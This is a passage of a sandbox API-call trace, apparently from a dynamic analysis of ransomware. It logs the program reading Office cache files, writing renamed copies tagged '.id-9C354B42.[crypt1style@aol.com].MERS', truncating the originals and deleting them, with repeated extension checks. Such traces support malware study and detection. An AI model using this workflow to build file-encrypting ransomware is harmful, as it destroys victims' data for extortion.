(lpString1=".jpg", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.167] lstrlenW (lpString=".doc") returned 4 [0034.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString=".docx") returned 5 [0034.167] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.167] lstrlenW (lpString=".pdf") returned 4 [0034.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString=".xls") returned 4 [0034.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.168] lstrlenW (lpString=".xlsx") returned 5 [0034.168] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.168] lstrlenW (lpString=".ppt") returned 4 [0034.168] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.168] lstrlenW (lpString=".zip") returned 4 [0034.168] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.168] lstrlenW (lpString=".rar") returned 4 [0034.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.168] lstrlenW (lpString=".bz2") returned 4 [0034.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.168] lstrlenW (lpString=".7z") returned 3 [0034.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.168] lstrlenW (lpString=".dbf") returned 4 [0034.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.168] lstrlenW (lpString=".1cd") returned 4 [0034.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.168] lstrlenW (lpString=".jpg") returned 4 [0034.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.168] Sleep (dwMilliseconds=0x64) [0034.432] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.433] lstrlenW (lpString="Proof.xml") returned 9 [0034.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.656] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1457) returned 1 [0034.656] CloseHandle (hObject=0x1c0) returned 1 [0034.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0034.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.657] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.657] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0034.659] GetLastError () returned 0x0 [0034.659] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0034.749] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.751] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.751] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.751] SetEndOfFile (hFile=0x1e8) returned 1 [0034.752] CloseHandle (hObject=0x1e8) returned 1 [0034.756] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.757] SetEndOfFile (hFile=0x1c0) returned 1 [0034.760] CloseHandle (hObject=0x1c0) returned 1 [0034.760] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.760] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.761] lstrlenW (lpString=".doc") returned 4 [0034.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".docx") returned 5 [0034.761] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.761] lstrlenW (lpString=".pdf") returned 4 [0034.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".xls") returned 4 [0034.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".xlsx") returned 5 [0034.761] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.761] lstrlenW (lpString=".ppt") returned 4 [0034.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.761] lstrlenW (lpString=".zip") returned 4 [0034.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.761] lstrlenW (lpString=".rar") returned 4 [0034.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.762] lstrlenW (lpString=".bz2") returned 4 [0034.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.762] lstrlenW (lpString=".7z") returned 3 [0034.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.762] lstrlenW (lpString=".dbf") returned 4 [0034.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.762] lstrlenW (lpString=".1cd") returned 4 [0034.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.762] lstrlenW (lpString=".jpg") returned 4 [0034.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.762] lstrlenW (lpString=".doc") returned 4 [0034.762] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.762] lstrlenW (lpString=".docx") returned 5 [0034.762] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.762] lstrlenW (lpString=".pdf") returned 4 [0034.762] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.763] lstrlenW (lpString=".xls") returned 4 [0034.763] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.763] lstrlenW (lpString=".xlsx") returned 5 [0034.763] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.763] lstrlenW (lpString=".ppt") returned 4 [0034.763] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.763] lstrlenW (lpString=".zip") returned 4 [0034.763] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.763] lstrlenW (lpString=".rar") returned 4 [0034.763] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.763] lstrlenW (lpString=".bz2") returned 4 [0034.763] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.763] lstrlenW (lpString=".7z") returned 3 [0034.764] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.764] lstrlenW (lpString=".dbf") returned 4 [0034.764] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.764] lstrlenW (lpString=".1cd") returned 4 [0034.764] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.764] lstrlenW (lpString=".jpg") returned 4 [0034.764] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.764] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.764] lstrlenW (lpString="Setup.xml") returned 9 [0034.764] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.765] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5884) returned 1 [0034.765] CloseHandle (hObject=0x1c0) returned 1 [0034.765] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.765] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.765] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.765] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0034.766] GetLastError () returned 0x0 [0034.766] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0034.874] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0034.876] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.876] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.876] SetEndOfFile (hFile=0x1e8) returned 1 [0034.876] CloseHandle (hObject=0x1e8) returned 1 [0034.876] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.876] SetEndOfFile (hFile=0x1c0) returned 1 [0034.877] CloseHandle (hObject=0x1c0) returned 1 [0034.877] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.878] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.878] lstrlenW (lpString=".doc") returned 4 [0034.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.878] lstrlenW (lpString=".docx") returned 5 [0034.878] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.878] lstrlenW (lpString=".pdf") returned 4 [0034.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.878] lstrlenW (lpString=".xls") returned 4 [0034.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.878] lstrlenW (lpString=".xlsx") returned 5 [0034.879] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.879] lstrlenW (lpString=".ppt") returned 4 [0034.879] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.879] lstrlenW (lpString=".zip") returned 4 [0034.879] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.879] lstrlenW (lpString=".rar") returned 4 [0034.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString=".bz2") returned 4 [0034.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString=".7z") returned 3 [0034.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.879] lstrlenW (lpString=".dbf") returned 4 [0034.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.879] lstrlenW (lpString=".1cd") returned 4 [0034.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.879] lstrlenW (lpString=".jpg") returned 4 [0034.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.879] lstrlenW (lpString=".doc") returned 4 [0034.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString=".docx") returned 5 [0034.879] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.879] lstrlenW (lpString=".pdf") returned 4 [0034.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.879] lstrlenW (lpString=".xls") returned 4 [0034.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.880] lstrlenW (lpString=".xlsx") returned 5 [0034.880] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.880] lstrlenW (lpString=".ppt") returned 4 [0034.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.880] lstrlenW (lpString=".zip") returned 4 [0034.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.880] lstrlenW (lpString=".rar") returned 4 [0034.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.880] lstrlenW (lpString=".bz2") returned 4 [0034.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.880] lstrlenW (lpString=".7z") returned 3 [0034.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.880] lstrlenW (lpString=".dbf") returned 4 [0034.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.880] lstrlenW (lpString=".1cd") returned 4 [0034.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.880] lstrlenW (lpString=".jpg") returned 4 [0034.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.880] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.880] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0034.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.881] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1231) returned 1 [0034.882] CloseHandle (hObject=0x1c0) returned 1 [0034.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0034.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.882] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.882] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0034.882] GetLastError () returned 0x0 [0034.882] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0034.897] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0034.903] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.903] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.903] SetEndOfFile (hFile=0x1e8) returned 1 [0034.903] CloseHandle (hObject=0x1e8) returned 1 [0034.904] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.904] SetEndOfFile (hFile=0x1c0) returned 1 [0034.905] CloseHandle (hObject=0x1c0) returned 1 [0034.905] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.905] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0034.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.906] lstrlenW (lpString=".doc") returned 4 [0034.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString=".docx") returned 5 [0034.906] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.906] lstrlenW (lpString=".pdf") returned 4 [0034.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString=".xls") returned 4 [0034.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString=".xlsx") returned 5 [0034.906] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.906] lstrlenW (lpString=".ppt") returned 4 [0034.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.906] lstrlenW (lpString=".zip") returned 4 [0034.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.906] lstrlenW (lpString=".rar") returned 4 [0034.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString=".bz2") returned 4 [0034.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString=".7z") returned 3 [0034.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.906] lstrlenW (lpString=".dbf") returned 4 